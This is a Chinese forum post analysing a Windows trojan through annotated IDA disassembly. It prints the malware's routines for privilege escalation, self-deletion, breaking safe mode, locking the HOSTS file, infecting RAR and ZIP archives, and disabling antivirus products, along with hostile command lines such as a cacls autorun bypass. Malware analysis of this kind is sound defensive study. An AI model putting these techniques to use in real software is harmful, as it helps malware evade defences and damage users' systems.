飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 18243|回复: 29

[原创] 也玩木马分析——从小偷家里偷东西o_0

[复制链接]
  • TA的每日心情
    难过
    2022-2-6 09:25
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2009-2-6 08:15:34 | 显示全部楼层 |阅读模式
    Hello,everyone!
       近日老大给我布置了一篇家庭作业,我自然是不敢有半分懈怠,还正赶上老弟对一些木马常用的猥琐伎俩小有兴趣,我也想积累一些Win32汇编编程的经验,于是就抓了这个“小家伙”来玩玩了,从木马中学习编程和杀毒技术,也算是在小偷家里偷东西了吧*_0
       小马一匹,什么功能并不是我们要关心的话题,我们主要来看看感兴趣的相关功能的实现代码,也好学习一下,积累编程经验嘛。分析起来很耗时,我们慢慢看吧,分析一些我就再补充一些 *^◎^*

    提权:
    1. seg001:00406394 AdjustPrivilege proc near
    2. seg001:00406394
    3. seg001:00406394                 push    ebx
    4. seg001:00406395                 add     esp, 0FFFFFFD0h
    5. seg001:00406398                 lea     eax, [esp+30h+TokenHandle]
    6. seg001:0040639C                 push    eax             ; TokenHandle
    7. seg001:0040639D                 push    20h             ; DesiredAccess
    8. seg001:0040639F                 call    GetCurrentProcess
    9. seg001:0040639F
    10. seg001:004063A4                 push    eax             ; ProcessHandle
    11. seg001:004063A5                 call    OpenProcessToken
    12. seg001:004063A5
    13. seg001:004063AA                 lea     eax, [esp+30h+Luid]
    14. seg001:004063AE                 push    eax             ; lpLuid
    15. seg001:004063AF                 push    offset Name     ; "SeDebugPrivilege"
    16. seg001:004063B4                 push    0               ; lpSystemName
    17. seg001:004063B6                 call    LookupPrivilegeValueA
    18. seg001:004063B6
    19. seg001:004063BB                 mov     eax, [esp+30h+Luid.LowPart]
    20. seg001:004063BF                 mov     [esp+30h+NewState.Privileges.Luid.LowPart], eax
    21. seg001:004063C3                 mov     eax, [esp+30h+Luid.HighPart]
    22. seg001:004063C7                 mov     [esp+30h+NewState.Privileges.Luid.HighPart], eax
    23. seg001:004063CB                 mov     [esp+30h+NewState.PrivilegeCount], 1
    24. seg001:004063D3                 xor     ebx, ebx
    25. seg001:004063D5                 mov     [esp+30h+NewState.Privileges.Attributes], ebx
    26. seg001:004063D9                 push    esp             ; ReturnLength
    27. seg001:004063DA                 lea     eax, [esp+34h+PreviousState]
    28. seg001:004063DE                 push    eax             ; PreviousState
    29. seg001:004063DF                 push    10h             ; BufferLength
    30. seg001:004063E1                 lea     eax, [esp+3Ch+NewState]
    31. seg001:004063E5                 push    eax             ; NewState
    32. seg001:004063E6                 push    0               ; DisableAllPrivileges
    33. seg001:004063E8                 mov     eax, [esp+44h+TokenHandle]
    34. seg001:004063EC                 push    eax             ; TokenHandle
    35. seg001:004063ED                 call    AdjustTokenPrivileges
    36. seg001:004063ED
    37. seg001:004063F2                 mov     eax, [esp+30h+Luid.LowPart]
    38. seg001:004063F6                 mov     [esp+30h+PreviousState.Privileges.Luid.LowPart], eax
    39. seg001:004063FA                 mov     eax, [esp+30h+Luid.HighPart]
    40. seg001:004063FE                 mov     [esp+30h+PreviousState.Privileges.Luid.HighPart], eax
    41. seg001:00406402                 mov     [esp+30h+PreviousState.PrivilegeCount], 1
    42. seg001:0040640A                 or      ebx, 2
    43. seg001:0040640D                 mov     [esp+30h+PreviousState.Privileges.Attributes], ebx
    44. seg001:00406411                 push    esp             ; ReturnLength
    45. seg001:00406412                 push    0               ; PreviousState
    46. seg001:00406414                 mov     eax, [esp+38h+BufferLength]
    47. seg001:00406418                 push    eax             ; BufferLength
    48. seg001:00406419                 lea     eax, [esp+3Ch+PreviousState]
    49. seg001:0040641D                 push    eax             ; NewState
    50. seg001:0040641E                 push    0               ; DisableAllPrivileges
    51. seg001:00406420                 mov     eax, [esp+44h+TokenHandle]
    52. seg001:00406424                 push    eax             ; TokenHandle
    53. seg001:00406425                 call    AdjustTokenPrivileges
    54. seg001:00406425
    55. seg001:0040642A                 add     esp, 30h
    56. seg001:0040642D                 pop     ebx
    57. seg001:0040642E                 retn
    58. seg001:0040642E
    59. seg001:0040642E AdjustPrivilege endp
    复制代码
    注册为系统服务,试图在9X系统上隐藏进程:
    1. seg001:00406598 RegisterService proc near   
    2. seg001:00406598
    3. seg001:00406598                 add     esp, 0FFFFFF6Ch
    4. seg001:0040659E                 mov     [esp+94h+var_94], 94h
    5. seg001:004065A5                 push    esp             ; lpVersionInformation
    6. seg001:004065A6                 call    GetVersionExA
    7. seg001:004065A6
    8. seg001:004065AB                 cmp     eax, 1
    9. seg001:004065AE                 sbb     eax, eax
    10. seg001:004065B0                 inc     eax
    11. seg001:004065B1                 cmp     al, 1
    12. seg001:004065B3                 jnz     short loc_4065FE
    13. seg001:004065B3
    14. seg001:004065B5                 cmp     [esp+94h+var_84], 2
    15. seg001:004065BA                 jz      short loc_4065FE
    16. seg001:004065BA
    17. seg001:004065BC                 push    offset s_Kernel32_dll ; "kernel32.dll"
    18. seg001:004065C1                 call    LoadLibraryA
    19. seg001:004065C1
    20. seg001:004065C6                 mov     hModule, eax
    21. seg001:004065CB                 cmp     hModule, 0
    22. seg001:004065D2                 jz      short loc_4065FE
    23. seg001:004065D2
    24. seg001:004065D4                 push    offset s_Registerservi ; "RegisterServiceProcess"
    25. seg001:004065D9                 mov     eax, hModule
    26. seg001:004065DE                 push    eax             ; hModule
    27. seg001:004065DF                 call    GetProcAddress
    28. seg001:004065DF
    29. seg001:004065E4                 mov     addr_RegisterServiceProcess, eax
    30. seg001:004065E9                 push    1
    31. seg001:004065EB                 push    0
    32. seg001:004065ED                 call    addr_RegisterServiceProcess
    33. seg001:004065F3                 mov     eax, hModule
    34. seg001:004065F8                 push    eax             ; hLibModule
    35. seg001:004065F9                 call    FreeLibrary_0   ; "kernel32.dll"
    36. seg001:004065F9
    37. seg001:004065FE loc_4065FE:
    38. seg001:004065FE                 add     esp, 94h
    39. seg001:00406604                 retn
    40. seg001:00406604
    41. seg001:00406604 RegisterService endp
    复制代码
    删除自身——“cmd.exe /c del 木马本身路径”:
    1. seg001:00406A70 del_self        proc near
    2. seg001:00406A70
    3. seg001:00406A70                 push    ebp
    4. seg001:00406A71                 mov     ebp, esp
    5. seg001:00406A73                 add     esp, 0FFFFFEECh
    6. seg001:00406A79                 xor     eax, eax
    7. seg001:00406A7B                 mov     [ebp+var_10C], eax
    8. seg001:00406A81                 mov     [ebp+var_110], eax
    9. seg001:00406A87                 mov     [ebp+var_114], eax
    10. seg001:00406A8D                 xor     eax, eax
    11. seg001:00406A8F                 push    ebp
    12. seg001:00406A90                 push    offset sub_406B2B
    13. seg001:00406A95                 push    dword ptr fs:[eax]
    14. seg001:00406A98                 mov     fs:[eax], esp
    15. seg001:00406A9B                 push    104h            ; nSize
    16. seg001:00406AA0                 lea     eax, [ebp+Buffer]
    17. seg001:00406AA6                 push    eax             ; lpBuffer
    18. seg001:00406AA7                 push    offset s_Comspec ; "Comspec"
    19. seg001:00406AAC                 call    GetEnvironmentVariableA ; 获取环境变量,查找cmd.exe文件路径
    20. seg001:00406AAC
    21. seg001:00406AB1                 push    0
    22. seg001:00406AB3                 lea     eax, [ebp+var_110]
    23. seg001:00406AB9                 lea     edx, [ebp+Buffer]
    24. seg001:00406ABF                 mov     ecx, 105h
    25. seg001:00406AC4                 call    sub_403D34
    26. seg001:00406AC4
    27. seg001:00406AC9                 push    [ebp+var_110]
    28. seg001:00406ACF                 push    offset s_CDel   ; " /c del ""
    29. seg001:00406AD4                 lea     edx, [ebp+var_114]
    30. seg001:00406ADA                 xor     eax, eax
    31. seg001:00406ADC                 call    sub_402708      ; GetModuleFileNameA获取木马文件路径
    32. seg001:00406ADC
    33. seg001:00406AE1                 push    [ebp+var_114]
    34. seg001:00406AE7                 push    offset dword_406B5C ; uCmdShow
    35. seg001:00406AEC                 lea     eax, [ebp+var_10C]
    36. seg001:00406AF2                 mov     edx, 4
    37. seg001:00406AF7                 call    sub_403E0C
    38. seg001:00406AF7
    39. seg001:00406AFC                 mov     eax, [ebp+var_10C]
    40. seg001:00406B02                 call    sub_403F4C
    41. seg001:00406B02
    42. seg001:00406B07                 push    eax             ; lpCmdLine
    43. seg001:00406B08                 call    WinExec         ; 即 “cmd.exe /c del 木马本身路径”
    44. seg001:00406B08
    45. seg001:00406B0D                 xor     eax, eax
    46. seg001:00406B0F                 pop     edx
    47. seg001:00406B10                 pop     ecx
    48. seg001:00406B11                 pop     ecx
    49. seg001:00406B12                 mov     fs:[eax], edx
    50. seg001:00406B15                 push    offset loc_406B32
    51. seg001:00406B15
    52. seg001:00406B1A loc_406B1A:                     
    53. seg001:00406B1A                 lea     eax, [ebp+var_114]
    54. seg001:00406B20                 mov     edx, 3
    55. seg001:00406B25                 call    sub_403BEC
    56. seg001:00406B25
    57. seg001:00406B2A                 retn
    复制代码
    程序运行后清空系统HOSTS文件,然后以独占方式锁定HOSTS和系统启动配置文件,防止用户或某些软件写HOSTS屏蔽木马网址,防止XDELBOX类程序重启删除木马:
    1. seg001:00409138                 mov     edx, offset s_DriversEtcHos ; "drivers\\etc\\hosts"
    2. seg001:0040913D                 call    sub_403D54
    3. seg001:0040913D
    4. seg001:00409142                 mov     eax, [ebp-0ACh]
    5. seg001:00409148                 call    FindFile_AdjustFileTime  ; 查找文件,若找到就修正文件时间(FindFirstFile/FileTimeToLocalFileTime/FileTimeToDosDateTime)
    6. seg001:00409148
    7. seg001:0040914D                 cmp     al, 1
    8. seg001:0040914F                 jnz     short loc_409194
    9. seg001:0040914F
    10. seg001:00409151                 lea     eax, [ebp-0B4h]
    11. seg001:00409157                 call    GetSystemDirectory
    12. seg001:00409157
    13. seg001:0040915C                 lea     eax, [ebp-0B4h]
    14. seg001:00409162                 mov     edx, offset s_DriversEtcHos ; "drivers\\etc\\hosts"
    15. seg001:00409167                 call    sub_403D54
    16. seg001:00409167
    17. seg001:0040916C                 mov     eax, [ebp-0B4h]
    18. seg001:00409172                 call    sub_403F4C
    19. seg001:00409172
    20. seg001:00409177                 mov     edx, eax
    21. seg001:00409179                 lea     eax, [ebp-0B0h]
    22. seg001:0040917F                 call    sub_403CF8
    23. seg001:0040917F
    24. seg001:00409184                 mov     eax, [ebp-0B0h]
    25. seg001:0040918A                 mov     edx, 10h
    26. seg001:0040918F                 call    sub_4066AC      ; CreateFileA以独占方式打开文件,防修改
    27. seg001:0040918F
    28. seg001:00409194
    29. seg001:00409194 loc_409194:                             ; CODE XREF: seg001:0040914Fj
    30. seg001:00409194                 lea     eax, [ebp-0B8h]
    31. seg001:0040919A                 call    sub_406DEC
    32. seg001:0040919A
    33. seg001:0040919F                 lea     eax, [ebp-0B8h]
    34. seg001:004091A5                 mov     edx, offset s_Boot_ini ; "boot.ini"
    35. seg001:004091AA                 call    sub_403D54
    36. seg001:004091AA
    37. seg001:004091AF                 mov     eax, [ebp-0B8h]
    38. seg001:004091B5                 call    FindFile_AdjustFileTime  ; 查找文件,若找到就修正文件时间(FindFirstFile/FileTimeToLocalFileTime/FileTimeToDosDateTime)
    39. seg001:004091B5
    40. seg001:004091BA                 cmp     al, 1
    41. seg001:004091BC                 jnz     short loc_409201
    42. seg001:004091BC
    43. seg001:004091BE                 lea     eax, [ebp-0C0h]
    44. seg001:004091C4                 call    sub_406DEC
    45. seg001:004091C4
    46. seg001:004091C9                 lea     eax, [ebp-0C0h]
    47. seg001:004091CF                 mov     edx, offset s_Boot_ini ; "boot.ini"
    48. seg001:004091D4                 call    sub_403D54
    49. seg001:004091D4
    50. seg001:004091D9                 mov     eax, [ebp-0C0h]
    51. seg001:004091DF                 call    sub_403F4C
    52. seg001:004091DF
    53. seg001:004091E4                 mov     edx, eax
    54. seg001:004091E6                 lea     eax, [ebp-0BCh]
    55. seg001:004091EC                 call    sub_403CF8
    56. seg001:004091EC
    57. seg001:004091F1                 mov     eax, [ebp-0BCh]
    58. seg001:004091F7                 mov     edx, 10h
    59. seg001:004091FC                 call    sub_4066AC      ; 独占方式打开文件,防修改
    复制代码
    删除相关注册表项,破坏安全模式:
    HKEY_LOCAL_MACHINE SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}
    HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}
    HKEY_LOCAL_MACHINE SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}
    HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}
    1. seg001:0040C6FF Del_Key:                     
    2. seg001:0040C6FF                 mov     ecx, offset s_4d36e967-e325 ; "{4D36E967-E325-11CE-BFC1-08002BE10318}"
    3. seg001:0040C704                 mov     edx, offset s_SystemCurre_5 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
    4. seg001:0040C709                 mov     eax, 80000002h
    5. seg001:0040C70E                 call    near ptr s_L_LxRulBSvw3I+0Ah
    6. seg001:0040C70E
    7. seg001:0040C713                 cmp     al, 1
    8. seg001:0040C715                 jnz     short loc_40C726
    9. seg001:0040C715
    10. seg001:0040C717                 mov     edx, offset s_SystemCurre_6 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
    11. seg001:0040C71C                 mov     eax, 80000002h
    12. seg001:0040C721                 call    RegDeleteKey    ; 删除相关键值
    13. seg001:0040C721
    14. seg001:0040C726 Del_Key:                     
    15. seg001:0040C726                 mov     ecx, offset s_4d36e967-e325 ; "{4D36E967-E325-11CE-BFC1-08002BE10318}"
    16. seg001:0040C72B                 mov     edx, offset s_SystemCurre_7 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
    17. seg001:0040C730                 mov     eax, 80000002h
    18. seg001:0040C735                 call    near ptr s_L_LxRulBSvw3I+0Ah
    19. seg001:0040C735
    20. seg001:0040C73A                 cmp     al, 1
    21. seg001:0040C73C                 jnz     short loc_40C74D
    22. seg001:0040C73C
    23. seg001:0040C73E                 mov     edx, offset s_SystemCurre_8 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
    24. seg001:0040C743                 mov     eax, 80000002h
    25. seg001:0040C748                 call    RegDeleteKey
    复制代码
    删除以下注册表项,使得镜像劫持失效
    HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
    1. seg001:0040C76C                 mov     edx, offset s_SoftwareMic_7 ; Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
    2. seg001:0040C771                 mov     eax, 80000002h
    3. seg001:0040C776                 call    near ptr s_L_LxRulBSvw3I+0Ah
    4. seg001:0040C776
    5. seg001:0040C77B                 cmp     al, 1
    6. seg001:0040C77D                 jnz     short loc_40C7AA
    7. seg001:0040C77D
    8. seg001:0040C77F                 push    offset s_SoftwareMic_8 ; Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
    9. seg001:0040C784                 mov     eax, off_41356C
    10. seg001:0040C789                 push    dword ptr [eax]
    11. seg001:0040C78B                 push    offset dword_40C884
    12. seg001:0040C790                 lea     eax, [ebp+var_80]
    13. seg001:0040C793                 mov     edx, 3
    14. seg001:0040C798                 call    sub_403E0C
    15. seg001:0040C798
    16. seg001:0040C79D                 mov     edx, [ebp+var_80]
    17. seg001:0040C7A0                 mov     eax, 80000002h
    18. seg001:0040C7A5                 call    RegDeleteKey
    复制代码
    设置USB写保护、文件彻底隐藏、修改U盘和光盘为自运行,关闭系统错误报告服务(修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting的DoReport、ShowUI、ReportBootOk,键为0)
    1. seg001:0040A080                 push    edi             ; phkResult
    2. seg001:0040A081                 push    offset s_SystemContr_1 ; SYSTEM\ControlSet001\Control\StorageDevicePolicies
    3. seg001:0040A086                 push    80000002h       ; hKey
    4. seg001:0040A08B                 call    RegOpenKeyA
    5. seg001:0040A08B
    6. seg001:0040A090                 push    4               ; cbData
    7. seg001:0040A092                 lea     eax, [ebp+Data]
    8. seg001:0040A095                 push    eax             ; lpData
    9. seg001:0040A096                 push    4               ; dwType
    10. seg001:0040A098                 push    0               ; Reserved
    11. seg001:0040A09A                 push    offset s_Writeprotect ; "WriteProtect"
    12. seg001:0040A09F                 mov     eax, [edi]
    13. seg001:0040A0A1                 push    eax             ; hKey
    14. seg001:0040A0A2                 call    RegSetValueExA
    15. seg001:0040A0A2
    16. seg001:0040A0A7                 mov     eax, [edi]
    17. seg001:0040A0A9                 push    eax             ; hKey
    18. seg001:0040A0AA                 call    RegCloseKey_0
    19. seg001:0040A0AA
    20. seg001:0040A0AF                 xor     eax, eax
    21. seg001:0040A0B1                 mov     dword ptr [ebp+Data], eax
    22. seg001:0040A0B4                 push    edi             ; phkResult
    23. seg001:0040A0B5                 push    offset s_SoftwareMic_4 ; Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
    24. seg001:0040A0BA                 push    80000001h       ; hKey
    25. seg001:0040A0BF                 call    RegOpenKeyA
    26. seg001:0040A0BF
    27. seg001:0040A0C4                 push    4               ; cbData
    28. seg001:0040A0C6                 lea     eax, [ebp+Data]
    29. seg001:0040A0C9                 push    eax             ; lpData
    30. seg001:0040A0CA                 push    4               ; dwType
    31. seg001:0040A0CC                 push    0               ; Reserved
    32. seg001:0040A0CE                 push    offset s_Showsuperhidd ; "ShowSuperHidden"
    33. seg001:0040A0D3                 mov     eax, [edi]
    34. seg001:0040A0D5                 push    eax             ; hKey
    35. seg001:0040A0D6                 call    RegSetValueExA
    36. seg001:0040A0D6
    37. seg001:0040A0DB                 mov     eax, [edi]
    38. seg001:0040A0DD                 push    eax             ; hKey
    39. seg001:0040A0DE                 call    RegCloseKey_0
    40. seg001:0040A0DE
    41. seg001:0040A0E3                 mov     dword ptr [ebp+Data], 91h
    42. seg001:0040A0EA                 push    edi             ; phkResult
    43. seg001:0040A0EB                 push    offset s_SoftwareMic_5 ; SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer
    44. seg001:0040A0F0                 push    80000002h       ; hKey
    45. seg001:0040A0F5                 call    RegOpenKeyA
    46. seg001:0040A0F5
    47. seg001:0040A0FA                 push    4               ; cbData
    48. seg001:0040A0FC                 lea     eax, [ebp+Data]
    49. seg001:0040A0FF                 push    eax             ; lpData
    50. seg001:0040A100                 push    4               ; dwType
    51. seg001:0040A102                 push    0               ; Reserved
    52. seg001:0040A104                 push    offset s_Nodrivetypeau ; "NoDriveTypeAutoRun"
    53. seg001:0040A109                 mov     eax, [edi]
    54. seg001:0040A10B                 push    eax             ; hKey
    55. seg001:0040A10C                 call    RegSetValueExA
    56. seg001:0040A10C
    57. seg001:0040A111                 mov     eax, [edi]
    58. seg001:0040A113                 push    eax             ; hKey
    59. seg001:0040A114                 call    RegCloseKey_0
    60. ......
    复制代码
    通过延迟删除bsmain.exe和RavExt.dll文件来破坏瑞星杀毒软件:

    在Windows 2000/XP/Server 2003里面,软件厂商在碰到文件被占用无法马上替换或者删除问题的时候,都会使用MoveFileEx API函数让系统在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager  Value:PendingFileRenameOperations键值下面建立一个延迟删除列表,系统在下次启动的时候,CSRSS.EXE进程将根据这个列表对文件进行延迟更新或者延迟删除操作。
    PendingFileRenameOperations是一个REG_MULTI_SZ类型的注册表键值,不能直接通过注册表编辑器编辑,否则会造成延迟删除列表被破坏。要查看这个键值的内容,可以使用注册表编辑器或者专用注册表操作工具。Windows XP在安装完需要重启的补丁以后就是利用PendingFileRenameOperations控制被占用文件进行被占用文件的升级和删除操作的。
    1. seg001:00409CF3                 mov     ecx, offset s_Pendingfilere ; "PendingFileRenameOperations"
    2. seg001:00409CF8                 mov     edx, offset s_SystemCurrent ; SYSTEM\CurrentControlSet\Control\Session Manager
    3. seg001:00409CFD                 mov     eax, 80000002h
    4. seg001:00409D02                 call    sub_408150
    5. seg001:00409D02
    6. ......
    7. seg001:00409DF9                 push    4               ; dwFlags
    8. seg001:00409DFB                 push    0               ; lpNewFileName
    9. seg001:00409DFD                 lea     eax, [ebp+var_28C]
    10. seg001:00409E03                 call    GetSystemDirectory
    11. seg001:00409E03
    12. seg001:00409E08                 lea     eax, [ebp+var_28C]
    13. seg001:00409E0E                 mov     edx, offset s_Ravext_dll ; "RavExt.dll"
    14. seg001:00409E13                 call    sub_403D54
    15. seg001:00409E13
    16. seg001:00409E18                 mov     eax, [ebp+var_28C]
    17. seg001:00409E1E                 call    sub_403F4C
    18. seg001:00409E1E
    19. seg001:00409E23                 push    eax             ; lpExistingFileName
    20. seg001:00409E24                 call    MoveFileExA
    21. seg001:00409E24
    22. seg001:00409E29                 push    4               ; dwFlags
    23. seg001:00409E2B                 push    0               ; lpNewFileName
    24. seg001:00409E2D                 lea     eax, [ebp+var_290]
    25. seg001:00409E33                 call    GetSystemDirectory
    26. seg001:00409E33
    27. seg001:00409E38                 lea     eax, [ebp+var_290]
    28. seg001:00409E3E                 mov     edx, offset s_Bsmain_exe ; "bsmain.exe"
    29. seg001:00409E43                 call    sub_403D54
    30. seg001:00409E43
    31. seg001:00409E48                 mov     eax, [ebp+var_290]
    32. seg001:00409E4E                 call    sub_403F4C
    33. seg001:00409E4E
    34. seg001:00409E53                 push    eax             ; lpExistingFileName
    35. seg001:00409E54                 call    MoveFileExA
    复制代码
    破解NTFS的AUTO免疫:
    使用命令行工具cacls.exe来提高everyone用户对文件autorun.inf的控制权限

    CACLS filename [/T] [/E] [/C] [/G user:perm]  
    显示或者修改文件的访问控制表(ACL)
       filename      显示 ACL。
       /T            更改当前目录及其所有子目录中指定文件的 ACL。
       /G user:perm  赋予指定用户访问权限。
                     Perm 可以是: R  读取
                                  W  写入
                                  C  更改(写入)
                                  F  完全控制
    1. seg001:0040D15D                 mov     eax, [ebp+var_4]
    2. seg001:0040D160                 call    GetVolumeInformation
    3. seg001:0040D160
    4. seg001:0040D165                 mov     eax, [ebp+var_27C]
    5. seg001:0040D16B                 mov     edx, offset s_Ntfs ; "NTFS"
    6. seg001:0040D170                 call    sub_403E98
    7. seg001:0040D170
    8. seg001:0040D175                 jnz     short loc_40D1B1
    9. seg001:0040D175
    10. seg001:0040D177                 push    0
    11. seg001:0040D179                 push    offset s_CmdCEchoYCacl ; "cmd /c echo Y| cacls "
    12. seg001:0040D17E                 push    [ebp+var_4]
    13. seg001:0040D181                 push    offset s_Autorun_infTG ; "autorun.inf /t /g everyone:F"
    14. seg001:0040D186                 lea     eax, [ebp+var_280]
    复制代码
    模拟发送点击按钮消息来自动卸载金山毒霸2008
    1. seg001:0040DAB4 KillDuBa        proc near               ; DATA XREF: start+1126o
    2. seg001:0040DAB4                 push    ebx
    3. seg001:0040DAB5                 push    offset s_2008   ; "金山毒霸 2008 杀毒套装卸载程序"
    4. seg001:0040DABA                 push    offset s_32770_1 ; "#32770"
    5. seg001:0040DABF                 call    FindWindowA
    6. seg001:0040DABF
    7. seg001:0040DAC4                 mov     ebx, eax
    8. seg001:0040DAC6                 push    offset s_N>     ; "下一步(&N) >"
    9. seg001:0040DACB                 push    offset s_Button_0 ; "Button"
    10. seg001:0040DAD0                 push    0               ; HWND
    11. seg001:0040DAD2                 push    ebx             ; HWND
    12. seg001:0040DAD3                 call    FindWindowExA
    13. seg001:0040DAD3
    14. seg001:0040DAD8                 mov     ebx, eax
    15. seg001:0040DADA                 push    0               ; lParam
    16. seg001:0040DADC                 push    0               ; wParam
    17. seg001:0040DADE                 push    0F5h            ; Msg
    18. seg001:0040DAE3                 push    ebx             ; hWnd
    19. seg001:0040DAE4                 call    SendMessageA
    20. seg001:0040DAE4
    21. seg001:0040DAE9                 push    0               ; lParam
    22. seg001:0040DAEB                 push    0               ; wParam
    23. seg001:0040DAED                 push    0F5h            ; Msg
    24. seg001:0040DAF2                 push    ebx             ; hWnd
    25. seg001:0040DAF3                 call    SendMessageA
    26. seg001:0040DAF3
    27. seg001:0040DAF8                 push    320h            ; dwMilliseconds
    28. seg001:0040DAFD                 call    Sleep
    29. seg001:0040DAFD
    30. seg001:0040DB02                 push    offset s_2008   ; "金山毒霸 2008 杀毒套装卸载程序"
    31. seg001:0040DB07                 push    offset s_32770_1 ; "#32770"
    32. seg001:0040DB0C                 call    FindWindowA
    33. seg001:0040DB0C
    34. seg001:0040DB11                 mov     ebx, eax
    35. seg001:0040DB13                 push    offset s_U      ; "卸载(&U)"
    36. seg001:0040DB18                 push    offset s_Button_0 ; "Button"
    37. seg001:0040DB1D                 push    0               ; HWND
    38. seg001:0040DB1F                 push    ebx             ; HWND
    39. seg001:0040DB20                 call    FindWindowExA
    40. seg001:0040DB20
    41. seg001:0040DB25                 mov     ebx, eax
    42. seg001:0040DB27                 push    0               ; lParam
    43. seg001:0040DB29                 push    0               ; wParam
    44. seg001:0040DB2B                 push    0F5h            ; Msg
    45. seg001:0040DB30                 push    ebx             ; hWnd
    46. seg001:0040DB31                 call    SendMessageA
    47. seg001:0040DB31
    48. seg001:0040DB36                 push    0               ; lParam
    49. seg001:0040DB38                 push    0               ; wParam
    50. seg001:0040DB3A                 push    0F5h            ; Msg
    51. seg001:0040DB3F                 push    ebx             ; hWnd
    52. seg001:0040DB40                 call    SendMessageA
    53. seg001:0040DB40
    54. seg001:0040DB45                 push    0BB8h           ; dwMilliseconds
    55. seg001:0040DB4A                 call    Sleep
    56. seg001:0040DB4A
    57. seg001:0040DB4F                 push    0               ; lpWindowName
    58. seg001:0040DB51                 push    offset s_Ieframe_0 ; "IEFrame"
    59. seg001:0040DB56                 call    FindWindowA
    60. seg001:0040DB56
    61. seg001:0040DB5B                 mov     ebx, eax
    62. seg001:0040DB5D                 push    1               ; lParam
    63. seg001:0040DB5F                 push    0F060h          ; wParam
    64. seg001:0040DB64                 push    112h            ; Msg
    65. seg001:0040DB69                 push    ebx             ; hWnd
    66. seg001:0040DB6A                 call    SendMessageA
    67. seg001:0040DB6A
    68. seg001:0040DB6F                 pop     ebx
    69. seg001:0040DB70                 retn
    70. seg001:0040DB70
    71. seg001:0040DB70 KillDuBa        endp
    复制代码
    感染植入木马到.rar和.zip压缩包——“WinRAR.exe a -ep -u -inul”:
    命令行模式:
        A      ——添加文件到压缩包
        -ep    ——添加文件时不包含路径信息
        -u     ——更新文件
        -inul  ——禁止错误提示信息
    1. seg001:0040F7E6                 push    0
    2. seg001:0040F7E8                 push    dword_4149D4
    3. seg001:0040F7EE                 push    offset s_Winrar_exeA-e ; "\\WinRAR.exe a -ep -u -inul "
    4. seg001:0040F7F3                 push    dword_4149D0
    5. seg001:0040F7F9                 push    offset dword_40FF5C
    6. seg001:0040F7FE                 push    [ebp+uCmdShow]  ; uCmdShow
    7. seg001:0040F801                 lea     eax, [ebp+var_1F4]
    8. seg001:0040F807                 mov     edx, 5
    9. seg001:0040F80C                 call    sub_403E0C
    10. seg001:0040F80C
    11. seg001:0040F811                 mov     eax, [ebp+var_1F4]
    12. seg001:0040F817                 call    sub_403F4C
    13. seg001:0040F817
    14. seg001:0040F81C                 push    eax             ; lpCmdLine
    15. seg001:0040F81D                 call    WinExec
    复制代码
    键盘映射Win+M(最小化所有窗口)然后阻止瑞星正常升级,最小化操作卡巴卸载程序来卸载卡巴,由于对卡巴的操作与下面的代码大同小异,故不再贴出,不过有一点说明,对付卡巴时,此木马还增加了命令“cmd /c Date 2005-4-20”来突破卡巴主动防御
    1. seg001:0041129F                 mov     eax, offset s_Ravmon_exe ; "RavMon.exe"
    2. seg001:004112A4                 call    sub_4076E8
    3. seg001:004112A4
    4. seg001:004112A9                 cmp     al, 1
    5. seg001:004112AB                 jnz     loc_411387
    6. seg001:004112AB
    7. seg001:004112B1                 lea     eax, [ebp+var_1D0]
    8. seg001:004112B7                 push    eax
    9. seg001:004112B8                 mov     ecx, offset s_Installpath ; "installpath"
    10. seg001:004112BD                 mov     edx, offset s_SoftwareRisin ; "SOFTWARE\\rising\\Rav"
    11. seg001:004112C2                 mov     eax, 80000002h
    12. seg001:004112C7                 call    RegQueryValue
    13. ......
    14. seg001:004112D7
    15. seg001:004112DC                 push    0               ; dwExtraInfo
    16. seg001:004112DE                 push    0               ; dwFlags
    17. seg001:004112E0                 push    0               ; uMapType
    18. seg001:004112E2                 push    5Bh             ; uCode 5Bh微软左徽标键
    19. seg001:004112E4                 call    MapVirtualKeyA
    20. seg001:004112E4
    21. seg001:004112E9                 push    eax             ; bScan
    22. seg001:004112EA                 push    5Bh             ; bVk
    23. seg001:004112EC                 call    keybd_event
    24. seg001:004112EC
    25. seg001:004112F1                 push    0               ; dwExtraInfo
    26. seg001:004112F3                 push    0               ; dwFlags
    27. seg001:004112F5                 push    0               ; uMapType
    28. seg001:004112F7                 push    4Dh             ; uCode 4Dh是"M"
    29. seg001:004112F9                 call    MapVirtualKeyA
    30. ......
    31. seg001:0041132B
    32. seg001:00411330                 push    1               ; uCmdShow
    33. seg001:00411332                 mov     edx, off_413554
    34. seg001:00411338                 mov     edx, [edx]
    35. seg001:0041133A                 lea     eax, [ebp+var_1D4]
    36. seg001:00411340                 mov     ecx, offset s_UpdateSetup_e ; "\\Update\\setup.exe"
    37. seg001:00411345                 call    sub_403D98
    38. seg001:00411345
    39. seg001:0041134A                 mov     eax, [ebp+var_1D4]
    40. seg001:00411350                 call    sub_403F4C
    41. seg001:00411350
    42. seg001:00411355                 push    eax             ; lpCmdLine
    43. seg001:00411356                 call    WinExec
    44. seg001:00411356
    45. seg001:0041135B                 push    5DCh            ; dwMilliseconds
    46. seg001:00411360                 call    Sleep
    47. seg001:00411360
    48. seg001:00411365                 mov     eax, lpThreadId
    49. seg001:0041136A                 push    eax             ; lpThreadId
